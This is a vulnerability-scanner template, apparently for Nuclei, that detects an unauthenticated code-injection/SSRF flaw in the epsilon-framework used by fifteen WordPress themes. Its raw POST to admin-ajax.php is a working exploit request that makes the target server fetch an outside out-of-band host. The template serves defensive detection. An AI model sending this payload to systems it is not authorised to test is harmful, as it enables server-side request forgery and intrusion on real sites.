id: wp-multiple-theme-ssrf

info:
  name: WordPress Themes - Code Injection
  author: madrobot
  severity: critical
  description: Fifteen WordPress themes are susceptible to code injection using a version of epsilon-framework, due to lack of capability and CSRF nonce checks in AJAX actions.
  reference:
    - https://www.exploit-db.com/exploits/49327
    - https://wpscan.com/vulnerability/10417
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-94
  metadata:
    max-request: 1
  tags: wordpress,rce,ssrf,edb,wpscan

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=action_name HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=epsilon_framework_ajax_action&args%5Baction%5D%5B%5D=Requests&args%5Baction%5D%5B%5D=request_multiple&args%5Bargs%5D%5B0%5D%5Burl%5D=https://oast.me/

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Interactsh Server"
          - "protocol_version"

      - type: status
        status:
          - 200
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